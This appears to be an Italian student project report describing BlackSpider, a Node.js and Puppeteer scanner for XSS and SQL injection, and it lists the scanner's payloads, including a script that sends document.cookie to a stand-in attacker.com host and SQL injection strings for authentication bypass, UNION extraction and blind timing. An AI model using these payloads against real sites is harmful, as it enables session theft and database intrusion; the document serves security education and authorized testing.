BlackSpider

Il programma **BlackSpider** rappresenta uno strumento che ho realizzato come parte del mio percorso scolastico, con l'obiettivo di approfondire le principali vulnerabilità delle applicazioni web e sviluppare un software in grado di rilevarle automaticamente. La mia applicazione si concentra principalmente su due tra gli attacchi più noti e pericolosi in ambito web: il **Cross-Site Scripting (XSS)** e le **SQL Injection**. Ho voluto creare un'interfaccia semplice e immediata, sia in modalità testuale che visuale, per consentire all'utente di effettuare scansioni di siti web e identificare eventuali punti deboli.

La struttura del progetto si articola in due componenti fondamentali:

- **Backend**, realizzato in Node.js nel file Server.js.
- **Frontend**, sviluppato con React nella cartella src/components.

Quest'ultima raccoglie i moduli organizzati in base alla modalità di utilizzo: la sezione **CLI** (Command Line Interface) e la sezione **GUI** (Graphical User Interface). Ho curato in particolare i file:

- ControlloUrl.js e Check.js, che gestiscono la logica complessiva dell'applicazione.
- Server.js, che si occupa dell'avvio del server e della gestione delle richieste di scansione provenienti dal frontend.

La parte **CLI** comprende componenti come:

- VecchiOutputs.js, che mostra i vecchi messaggi a schermo.
- Scan.js, che mostra all'utente i risultati della scansione tramite comandi testuali.

La parte **Visuale** si basa su moduli come:

- Check.js, per avviare la scansione vera e propria.
- Results.js, che presenta i risultati in una forma più intuitiva e graficamente curata.

Il sistema di scansione che ho sviluppato si basa su una combinazione di tecnologie moderne per offrire un'analisi completa e precisa delle vulnerabilità, sia lato server sia lato client. Per la parte backend, utilizzo **Node.js** con il framework **Express**, mentre per l'automazione del browser ho scelto **Puppeteer**, una libreria che consente di controllare un browser reale (come Chrome o Chromium) in modo programmato.

L'architettura così costruita offre un notevole vantaggio: la capacità di eseguire test che vanno oltre le semplici richieste HTTP statiche, tipiche di scanner tradizionali. In questo modo, il sistema riesce a individuare vulnerabilità che potrebbero sfuggire a strumenti

meno sofisticati, come i riflessi JavaScript attivati solo in condizioni dinamiche o query SQL che reagiscono diversamente a input complessi.

Attacchi Cross-Site Scripting (XSS)
Il sistema effettua diversi tipi di attacchi XSS, per verificare la resistenza delle applicazioni web contro iniezioni di codice JavaScript.

1.1 XSS basato su <script> (Script Injection)

I payload di questa tipologia sfruttano direttamente il tag <script>, inserendo codice JavaScript che viene eseguito nel browser della vittima. Ad esempio:

- **Payload Base**:

```
<script>document.body.innerHTML += '<div id="xss-ok">XSS ESEGUITO</div>'</script>
```

Questo codice aggiunge un elemento nel DOM come segnale visivo dell'avvenuta esecuzione.

- **Furto di Cookie**:

```
<script>console.log(document.cookie);</script>
```

Serve a dimostrare che il codice JavaScript ha accesso ai cookie della sessione.

- **Esfiltrazione di dati**:

```
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
```

Invia i cookie a un server controllato dall'attaccante.
Questi test verificano la capacità dell'applicazione di filtrare o codificare correttamente il contenuto per impedire che codice malevolo venga interpretato dal browser.

1.2 XSS Event-Based (Event Handler Injection)
Non sempre è necessario un <script> per eseguire codice dannoso: anche attributi come onerror o onload possono essere sfruttati. Esempi:

- **Gestione errori immagini**:

```
<img src="x" onerror="alert('XSS')">
```

- **Esecuzione su caricamento del body**:

```
<body onload="alert('XSS')">
```

- **Caricamento di SVG**:
  (simili meccanismi con SVG inline)

Queste tecniche spesso bypassano filtri che bloccano solo i tag <script>.

1.3 XSS tramite Pseudo-protocollo JavaScript
Un altro metodo sfrutta il protocollo speciale javascript: negli attributi href:

```
<a href="javascript:alert('XSS')">Click me</a>
```

Questo permette di eseguire codice JavaScript quando l'utente clicca sul link.

1.4 XSS con Encoding HTML
Il sistema include anche payload con caratteri HTML encodati, per verificare se l'applicazione li decodifica prima di filtrarli:

```
&#60;script&#62;alert('XSS')&#60;/script&#62;
```

1.5 Il Ruolo di Puppeteer nella Rilevazione degli XSS
Qui entra in gioco Puppeteer, un elemento chiave del sistema. Puppeteer è una potente libreria Node.js che permette di controllare il browser (Chrome o Chromium) come se fosse un utente reale. Con Puppeteer, il sistema può:
> Aprire pagine web come farebbe un vero utente;
> Iniettare e verificare se i payload XSS vengono effettivamente eseguiti;
> Osservare modifiche al DOM, come l'apparizione di ;
> Simulare clic, input e altri eventi per triggerare XSS "basati su interazioni";
> Catturare screenshot o console log per documentare i risultati.
Questa capacità di interazione dinamica rende Puppeteer indispensabile per scoprire vulnerabilità che si attivano solo durante l'uso reale dell'applicazione.

2. Attacchi SQL Injection
Il sistema copre anche un ampio spettro di SQL Injection, un altro tipo di vulnerabilità critica.

2.1 Bypass di Autenticazione
Vengono testati payload come:

```
' OR '1'='1
```

```
' OR 1=1 --
```

2.2 UNION-based SQL Injection
Questa tecnica sfrutta UNION per recuperare dati aggiuntivi:

```
' UNION SELECT 1,2,3 --
```

2.3 Error-based SQL Injection
Funzioni come extractvalue e updatexml provocano errori informativi:

```
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --
```

2.4 Boolean-based Blind

Testano la differenza di comportamento tra condizioni vere e false:

```
' AND 1=1 --
```

```
' AND 1=2 --
```

2.5 Time-based Blind
Iniettano ritardi come:

```
' AND SLEEP(1) --
```

2.6 Filter Bypass Techniques
Utilizzano commenti e tecniche evasive:

```
/*!50000select*/
```

```
'/**/OR/**/1=1--
```

3. Metodologia di Rilevamento

- **SQL Injection**: Il sistema utilizza espressioni regolari per catturare messaggi di errore tipici dei database (MySQL, PostgreSQL, Oracle, ecc.).
- **XSS**: Puppeteer cerca nel DOM la comparsa di elementi come o messaggi come "XSS ESEGUITO".

Inoltre, combina test sui parametri più comuni (id, user, page, search, ecc.) con quelli già presenti nell'URL, per massimizzare la copertura.
Oltre ai vari attacchi sono state realizzate delle funzionalità che rendono l'applicazione più efficiente nella gestione delle richieste:

- Ripete i test in caso di problemi di rete, con backoff esponenziale per evitare di sovraccaricare il server.
- Le vulnerabilità trovate vengono classificate in base alla tipologia (es. XSS base, XSS DOM, SQL union, ecc.).
- Imposta ritardi tra le richieste e gestisce HTTPS, anche con certificati autofirmati in ambienti di test.

Questo strumento è pensato per **scopi educativi e di ricerca**: penetration test autorizzati, audit di sicurezza interna e formazione.
Non copre ancora alcune vulnerabilità come XSS persistente (stored), injection stacked queries o vulnerabilità di secondo ordine, ma l'architettura modulare permette di aggiungere facilmente nuove tecniche e payload.
Alcuni tra i possibili sviluppi futuri sono l'integrazione con scanner già esistenti, come ad esempio ZAP, creazione di un sistema automatico di monitoraggio ed infine l'implementazione di scansioni per nuove vulnerabilità come ad esempio: CSRF e XXE.
Con BlackSpider, ho cercato di realizzare uno strumento utile e intuitivo, in grado di testare automaticamente queste vulnerabilità e fornire un punto di partenza per un'analisi più approfondita. Il mio intento iniziale era quello di creare uno strumento semplice da utilizzare dall'utente finale, per comprendere in poco tempo quanto un sito web è sicuro.

La scelta di utilizzare **React** per il frontend e **Node.js** per il backend deriva dalla volontà di lavorare con tecnologie moderne e flessibili, che mi hanno permesso di integrare facilmente la logica di scansione e la presentazione dei risultati.
In conclusione, questo progetto non solo ha rappresentato un'importante esperienza pratica nello sviluppo software, ma anche un'occasione per comprendere più a fondo i principi fondamentali della sicurezza informatica e le tecniche per mitigarne i rischi.